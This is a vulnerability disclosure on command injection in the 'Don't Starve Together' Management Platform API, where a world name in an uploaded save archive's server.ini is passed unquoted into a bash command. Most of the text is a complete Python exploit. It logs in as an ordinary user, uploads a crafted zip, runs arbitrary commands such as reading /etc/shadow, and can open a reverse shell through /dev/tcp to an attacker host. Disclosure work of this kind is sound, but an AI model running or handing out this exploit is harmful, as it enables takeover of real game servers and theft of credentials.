Project Overview

Project URL: https://github.com/miracleEverywhere/dst-management-platform-api
The “Don’t Starve Together” Management Platform (DMP) is a one-stop management tool for dedicated “Don’t Starve Together” servers. It offers one-click deployment and intelligent operations, making it quick and easy to build a “Don’t Starve Together” multiplayer platform.

Vulnerability Details

Affected versions: v 3.0.0 through v 3.1.7; v 2.1.9 and earlier are not affected
Privilege required: any ordinary user session, where that user holds permission on a given room

POST /v3/room/upload extracts the uploaded save archive and then takes the [SHARD] name field from server.ini inside the archive verbatim as one segment of a filesystem path, which is handed to /bin/bash -c via naive string concatenation (no quoting) — and that field is never validated at any point.

In other words: a string in the uploaded archive that is meant to be nothing more than the “world display name” ends up as part of a shell command, producing command injection.

The full exploitation chain is:

Step Action HTTP
1 An ordinary user logs in and obtains a token POST /v3/user/login
2 Read the number of worlds in the target room (determines how many world directories to include) GET /v3/dashboard/info/base?roomID=
3 Upload a crafted zip (the name in one world’s server.ini is the payload) POST /v3/room/upload
4 The server extracts → parses → concatenates the command → executes it
5 Read the command output back GET /v3/tools/backup/download

Root Cause

The vulnerable code is in utils/system.go:

It calls utils.BashCMD(cmd) directly to run a system command:

The cmd argument is produced by concatenating three values directly: world.path, clusterPath, and world.name.

1
fmt.Sprintf("cp -r %s/save %s", world.path, fmt.Sprintf("%s/%s/", clusterPath, world.name))

Given these values:

1
2
3
world.path = "world_path"  
clusterPath = "clusterPath"
world.name = "x; whoami;#"

the concatenation yields:

1
cp -r world_path/save clusterPath/x; whoami;#/

The command separator lets us break out of the intended command, and our injected whoami is executed by bash -c. The same holds for the other two parameters: of the three — world.path (blocked, see below), clusterPath (not controllable), and world.name — any single controllable one is enough to perform this concatenation.

The world parameter iterates over worldPath:

worldPath.name is in turn determined by serverIni["name"].
And where does serverIni come from?

It is read from server.ini and converted into a dictionary — that is, from this file:

So by uploading a malicious save archive and modifying the name key in its server.ini, we complete the injection.
Uploading a save does not require administrator privileges, but the user must hold permission on the target room — otherwise the initial authorization check rejects the request:

A careful reader may have noticed that the source code does have one validation layer:

This mainly blocks the worldPath.path = fmt.Sprintf("%s/%s", clusterDir, i) path, so we cannot arbitrarily control worldPath.path — the world.path parameter mentioned above.

As for clusterPath, it is not controllable at any point:

worldPath.name is concatenated directly with no validation anywhere along the path, which is the key root cause.

POC

The full PoC follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
DMP command injection via an unvalidated world name in an uploaded save archive

Chain: upload save -> unvalidated `name` in server.ini -> cp -r command injection -> command execution

Usage
-----
# Verify (write a marker and read it back)
python3 poc_dmp_worldname_rce.py --url https://<target>:4433 \
--user <ordinary user> --pass <password>

# Through a proxy (optional; direct connection when omitted)
... --proxy socks5h://127.0.0.1:1080

# Run an arbitrary command / reverse shell
... --cmd 'cat /etc/shadow'
... --revshell <LHOST>:2333

# Bootstrap test on a fresh instance (register admin / create user / create room)
python3 poc_dmp_worldname_rce.py --url http://127.0.0.1:8082 --bootstrap


"""
from __future__ import annotations

import argparse
import io
import json
import os
import random
import string
import sys
import time
import urllib.error
import urllib.parse
import urllib.request
import zipfile

try:
import socks
except ImportError:
socks = None

API_VER = "/v3"
SEP = "-" * 78
NAME_MAX = 3800 # Max length of a single server.ini line (bufio.Scanner defaults to 64KB; plenty of headroom)


# HTTP client (proxy optional; direct connection by default)
class Client:
def __init__(self, base: str, proxy: str | None = None, timeout: int = 90):
self.base = base.rstrip("/")
self.timeout = timeout
self.token: str | None = None
if proxy:
self._install_proxy(proxy)

@staticmethod
def _install_proxy(proxy: str):
import socket
u = urllib.parse.urlparse(proxy if "://" in proxy else "socks5://" + proxy)
host, port, scheme = u.hostname, u.port, u.scheme.lower()
if not host or not port:
raise SystemExit("[!] --proxy must look like socks5h://host:port or http://host:port")
if scheme.startswith("socks"):
if socks is None:
raise SystemExit("[!] SOCKS proxies require PySocks: pip install PySocks")
socks.set_default_proxy(socks.SOCKS5, host, port, rdns=True)
socket.socket = socks.socksocket
else:
urllib.request.install_opener(urllib.request.build_opener(
urllib.request.ProxyHandler({"http": proxy, "https": proxy})))

def req(self, method: str, path: str, body=None, raw: bytes | None = None,
ctype: str | None = None, binary: bool = False, quiet: bool = False):
data = raw if raw is not None else (
json.dumps(body).encode() if body is not None else None)
r = urllib.request.Request(self.base + path, data=data, method=method)
if ctype:
r.add_header("Content-Type", ctype)
elif body is not None:
r.add_header("Content-Type", "application/json")
if self.token:
r.add_header("X-DMP-TOKEN", self.token)
r.add_header("X-I18n-Lang", "zh")
if not quiet:
print("[REQ] %s %s%s" % (method, path, " (%d B)" % len(data) if data else ""))
try:
with urllib.request.urlopen(r, timeout=self.timeout) as resp:
st, rb = resp.status, resp.read()
except urllib.error.HTTPError as e:
st, rb = e.code, e.read()
except Exception as e: # noqa: BLE001
if not quiet:
print("[ERR] %s %s -> %r" % (method, path, e))
return -1, {}
out = rb if binary else rb.decode("utf-8", "replace")
if not quiet:
prev = out[:180] if isinstance(out, str) else "<%d B binary>" % len(out)
print("[RES] HTTP %d %s" % (st, prev))
return st, out

def j(self, method, path, **kw):
st, b = self.req(method, path, **kw)
try:
return st, (json.loads(b) if isinstance(b, str) else {})
except Exception: # noqa: BLE001
return st, {}

def login(self, user: str, pwd: str, tries: int = 6) -> str | None:
"""Log in. LoginRateLimit is a strict 1 req/s per IP, hence the backoff retries."""
for i in range(tries):
time.sleep(1.3 if i == 0 else 2.5)
st, d = self.j("POST", API_VER + "/user/login",
body={"username": user, "password": pwd}, quiet=True)
tok = d.get("data")
if isinstance(tok, dict):
tok = tok.get("token")
if isinstance(tok, str) and tok:
print("[RES] Login succeeded for %s (attempt %d)" % (user, i + 1))
return tok
print("[!] Login attempt %d failed: %s" % (i + 1, d.get("message") or ("HTTP %s" % st)))
return None


# Payload
def make_payload(shell_cmd: str) -> str:
"""Build the `name` value for server.ini.

The expanded command looks like: cp -r <tmp>/W0/save <ClusterPath>/x;<shell_cmd>;#
"""
payload = "x;%s;#" % shell_cmd
if "\n" in payload or "\r" in payload:
raise SystemExit("[!] Payload must not contain newlines (server.ini is a single-line format)")
if len(payload) > NAME_MAX:
raise SystemExit("[!] Payload too long: %d > %d bytes" % (len(payload), NAME_MAX))
return payload


CLUSTER_INI = """[GAMEPLAY]
game_mode = survival
max_players = 6
pvp = false
pause_when_empty = true
vote_enabled = true
vote_kick_enabled = true

[NETWORK]
lan_only_cluster = false
offline_cluster = false
cluster_description =
whitelist_slots = 0
cluster_name = dmpsvc
cluster_password =
cluster_language = zh
tick_rate = 0

[MISC]
console_enabled = true
max_snapshots = 10

[SHARD]
shard_enabled = true
bind_ip = 0.0.0.0
master_ip = 127.0.0.1
master_port = 21000
cluster_key = ck0
"""


def _server_ini(wid: int, is_master: bool, name: str, port: int,
mport: int, aport: int) -> str:
return ("[NETWORK]\nserver_port = %d\n\n[SHARD]\nid = %d\nis_master = %s\n"
"name = %s\n\n[STEAM]\nmaster_server_port = %d\n"
"authentication_port = %d\n\n[ACCOUNT]\nencode_user_path = true\n"
% (port, wid, "true" if is_master else "false", name, mport, aport))


def build_zip(world_names: list[str]) -> bytes:
"""Build the archive from a list of world names (world_names are the `name` values in each world's server.ini)."""
files = {"cluster.ini": CLUSTER_INI, "cluster_token.txt": "pds-token",
"adminlist.txt": "", "blocklist.txt": "", "whitelist.txt": ""}
for i, nm in enumerate(world_names):
d = "W%d" % i
files["%s/server.ini" % d] = _server_ini(
101 + i, i == 0, nm, 11080 + i, 27078 + i, 8828 + i)
files["%s/leveldataoverride.lua" % d] = "return {}\n"
files["%s/save/keep" % d] = "x"
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as z:
for p, c in files.items():
z.writestr(p, c)
return buf.getvalue()


def rand(n: int = 6) -> str:
return "".join(random.choice(string.ascii_lowercase + string.digits)
for _ in range(n))



# Read-back
def read_marker(c: Client, rid: int, marker: str, local_path: str | None) -> bool:
"""Read the command output back: direct read via bind mount / in-band read-back through the backup download endpoint."""
ok = False
if local_path:
p = os.path.join(local_path, "dmp_files", "backup", str(rid), marker)
if os.path.exists(p):
st = os.stat(p)
print("[1] Direct bind-mount read %s uid/gid=%d/%d size=%d"
% (p, st.st_uid, st.st_gid, st.st_size))
print(" " + open(p, encoding="utf-8", errors="replace").read().strip())
ok = True
st, b = c.req("GET", "%s/tools/backup/download?roomID=%d&filename=%s"
% (API_VER, rid, marker), binary=True, quiet=True)
if st == 200 and isinstance(b, bytes) and b and b"code" not in b[:16]:
print("[2] In-band read-back HTTP %d:" % st)
print(" " + b.decode("utf-8", "replace").strip().replace("\n", "\n "))
ok = True
else:
print("[2] In-band read-back HTTP %d (no hit)" % st)
return ok


# Single exploitation chain
def exploit(c: Client, rid: int, payload: str, n: int,
marker: str, local_path: str | None,
assume_yes: bool = False) -> bool:
print("\n" + SEP + "\n[UPLOAD EXPLOIT] server.ini name -> cp -r command injection\n" + SEP)
print("[*] Room %d has %d existing worlds (the payload must contain the same number)" % (rid, n))
print("[*] name value: %s" % payload)
print("[*] The expanded command looks like:")
print(" cp -r <extraction dir>/W0/save <ClusterPath>/%s/" % payload)

# ---- Pre-flight confirmation for an irreversible action ----
if not assume_yes:
print("\n" + "!" * 74)
print("[!] About to upload to room %d on %s -- this is an IRREVERSIBLE operation" % (c.base, rid))
print(" This request triggers the cp -r command injection, which will:")
print(" - execute the command shown above on the target (by default it only writes a marker file)")
print(" - interrupt the worlds currently running in that room")
print(" - rebuild the room's world directories from the contents of the poisoned archive")
print(" Make sure you hold a restorable backup to avoid irreversible loss")
print("!" * 74)
try:
ans = input("Proceed? Type y to continue, anything else aborts: ")
except EOFError: # non-interactive stdin (pipe/redirect)
ans = ""
if ans.strip().lower() not in ("y", "yes"):
raise SystemExit("[-] Aborted: no request was sent.")
print("[*] Confirmed, continuing.")

names = ["Zw%s%02d" % (str(int(time.time() * 1000))[-5:], i) for i in range(n)]
names[0] = payload # only world 0 carries the payload
b = "----dmp%d" % int(time.time() * 1000)
body = (("--%s\r\nContent-Disposition: form-data; name=\"roomID\"\r\n\r\n%d\r\n"
% (b, rid)).encode()
+ ("--%s\r\nContent-Disposition: form-data; name=\"file\"; "
"filename=\"room.zip\"\r\nContent-Type: application/zip\r\n\r\n"
% b).encode()
+ build_zip(names) + ("\r\n--%s--\r\n" % b).encode())
st, resp = c.req("POST", API_VER + "/room/upload", raw=body,
ctype="multipart/form-data; boundary=" + b)
print("[UPLOAD] -> HTTP %d %s" % (st, (resp if isinstance(resp, str) else "")[:160]))
time.sleep(1.5)
return read_marker(c, rid, marker, local_path)


def bootstrap(c: Client, au, ap_, uu, up_) -> int:
"""Bootstrap test on a fresh instance: register admin / create a regular user / create a room and grant access."""
print("\n" + SEP + "\n[0] Bootstrap\n" + SEP)
time.sleep(1.3)
st, d = c.j("POST", API_VER + "/user/register", body={
"username": au, "nickname": "ops", "password": ap_, "role": "admin",
"avatar": "", "disabled": False})
print(" Registered admin: %s" % d.get("message"))
c.token = c.login(au, ap_)
if not c.token:
raise SystemExit("[!] Admin login failed (does the instance already have users? Use --user/--pass instead)")
st, d = c.j("POST", API_VER + "/user/base", body={
"username": uu, "nickname": "u", "password": up_, "role": "user",
"avatar": "", "disabled": False, "rooms": "", "roomCreation": False,
"maxWorlds": 3, "maxPlayers": 6})
print(" Created regular user %s: %s" % (uu, d.get("message")))
st, d = c.j("POST", API_VER + "/room", body={
"roomData": {"id": 0, "status": True, "gameName": "dmpsvc", "description": "",
"gameMode": "survival", "customGameMode": "", "pvp": False,
"maxPlayer": 6, "maxRollBack": 10, "modInOne": True, "modData": "",
"vote": True, "pauseEmpty": True, "password": "", "token": "pds-token",
"masterIP": "127.0.0.1", "masterPort": 21011, "clusterKey": "ck0",
"lan": False, "offline": False, "steamGroupOnly": False,
"steamGroupID": "", "steamGroupAdmins": False},
"roomSettingData": {"roomID": 0, "backupEnable": True, "backupSetting": "[]",
"backupCleanEnable": False, "backupCleanSetting": 0,
"restartEnable": False, "restartSetting": "",
"resetEnable": False, "resetSetting": "",
"announceSetting": "[]", "keepaliveEnable": False,
"keepaliveSetting": 0, "scheduledStartStopEnable": False,
"scheduledStartStopSetting": "", "tickRate": 0,
"startType": "32-bit", "customIP": "", "customPort": 0,
"webhookSetting": "[]"},
"worldData": [{"id": 0, "roomID": 0, "gameID": 101, "worldName": "Master",
"serverPort": 11080, "masterServerPort": 27078,
"authenticationPort": 8828, "isMaster": True,
"encodeUserPath": True, "levelData": "", "modData": "",
"lastAliveTime": "", "customStartupCmd": ""}]})
rid = (d.get("data") or {}).get("id")
if not rid:
raise SystemExit("[!] Failed to create room: %s" % d)
c.j("PUT", API_VER + "/user/base", body={
"username": uu, "nickname": "u", "password": up_, "role": "user",
"avatar": "", "disabled": False, "rooms": str(rid), "roomCreation": False,
"maxWorlds": 3, "maxPlayers": 6})
print(" Room id = %s; %s has been added as a member" % (rid, uu))
return rid


# ----------------------------------------------------------------------------
def main() -> int:
ap = argparse.ArgumentParser(
description="DMP world-name command injection",
formatter_class=argparse.RawDescriptionHelpFormatter)
ap.add_argument("--url", required=True, help="Target base URL, e.g. https://host:4433")
ap.add_argument("--user", help="Username of an ordinary (non-admin) user")
ap.add_argument("--pass", dest="pwd", help="Password of that ordinary user")
ap.add_argument("--room", type=int, default=0, help="Room id (defaults to the user's first room)")
ap.add_argument("--proxy", default=None,
help="Optional proxy, e.g. socks5h://host:port or http://host:port; direct connection if omitted")
ap.add_argument("--bootstrap", action="store_true", help="Bootstrap test on a fresh instance")
ap.add_argument("--yes", "-y", action="store_true",
help="Skip the pre-upload risk confirmation (by default you must type y)")
ap.add_argument("--admin-user", default="ops_" + rand(4))
ap.add_argument("--admin-pass", default="Op#" + rand(10))
ap.add_argument("--new-user", default="usr_" + rand(4))
ap.add_argument("--new-pass", default="Us#" + rand(10))
ap.add_argument("--cmd", default=None, help="Custom command (the output is retrieved through the read-back channel)")
ap.add_argument("--revshell", default=None, metavar="LHOST:LPORT")
ap.add_argument("--local-path", default=None,
help="Host bind-mount directory backing dmp_files (optional second read-back channel)")
ap.add_argument("--marker", default="bkp_" + rand(8),
help="Marker filename for the read-back (random by default)")
a = ap.parse_args()

c = Client(a.url, proxy=a.proxy)
print("=" * 78)
print(" DMP world-name command injection -- verification + exploitation")
print(" Chain : upload save -> server.ini name -> cp -r command injection (single request)")
print(" Target: %s" % a.url)
print(" Proxy : %s" % (a.proxy if a.proxy else "direct"))
print("=" * 78)

if a.bootstrap:
rid = bootstrap(c, a.admin_user, a.admin_pass, a.new_user, a.new_pass)
user_u, user_p = a.new_user, a.new_pass
else:
if not (a.user and a.pwd):
raise SystemExit("[!] --user/--pass or --bootstrap is required")
rid, user_u, user_p = 0, a.user, a.pwd

tok = c.login(user_u, user_p)
if not tok:
raise SystemExit("[!] Login failed: %s" % user_u)
c.token = tok
st, d = c.j("GET", API_VER + "/user/base")
me = d.get("data") or {}
print("\n[*] %s role=%r rooms=%r" % (user_u, me.get("role"), me.get("rooms")))
if me.get("role") == "admin":
print("[!] This account is an admin; use an ordinary user for the test")

if not rid:
if a.room:
rid = a.room
else:
rs = [x for x in str(me.get("rooms") or "").split(",") if x.strip()]
if not rs:
raise SystemExit("[!] This user belongs to no room, so the issue cannot be triggered; specify one with --room")
rid = int(rs[0])
print("[*] Room id = %d" % rid)

st, d = c.j("GET", API_VER + "/dashboard/info/base?roomID=%d" % rid)
info = d.get("data") or {}
worlds = info.get("worlds") or []
if not worlds:
raise SystemExit("[!] Room has no worlds; cannot build the payload: %s" % d)
print("[*] Worlds = %s" % [(w["id"], w["worldName"], w.get("status")) for w in worlds])

# ---- Command and payload ----
mrel = "dmp_files/backup/%d/%s" % (rid, a.marker)
if a.revshell:
h, _, p = a.revshell.partition(":")
if not p.isdigit():
raise SystemExit("[!] --revshell must look like LHOST:LPORT")
inner = ("if command -v script >/dev/null 2>&1; then "
"exec script -qc /bin/bash /dev/null; else exec bash -i; fi")
shell = '(setsid bash -c "%s" >& /dev/tcp/%s/%s 0>&1 &)' % (inner, h, p)
mode = "Reverse shell (PTY) -> %s:%s" % (h, p)
elif a.cmd:
shell = "mkdir -p dmp_files/backup/%d;{ %s ;}>%s 2>&1" % (rid, a.cmd, mrel)
mode = "Command read-back: %s" % a.cmd
else:
shell = ("mkdir -p dmp_files/backup/%d;"
"{ id;hostname;uname -a;}>%s" % (rid, mrel))
mode = "Write marker %s" % mrel
payload = make_payload(shell)
print("[*] Mode: %s" % mode)
print("[*] Payload: %s (%d bytes)" % (payload, len(payload)))

hit = exploit(c, rid, payload, len(worlds), a.marker, a.local_path, a.yes)

print("\n" + "=" * 78)
if a.revshell:
print("[+] Payload delivered; if it connects back, %s is the target shell" % a.revshell)
return 0
if hit:
print("[+] Vulnerable: OS command execution achieved as an ordinary user")
return 0
print("[-] No hit; the target may not be vulnerable")
print("=" * 78)
return 2


if __name__ == "__main__":
sys.exit(main())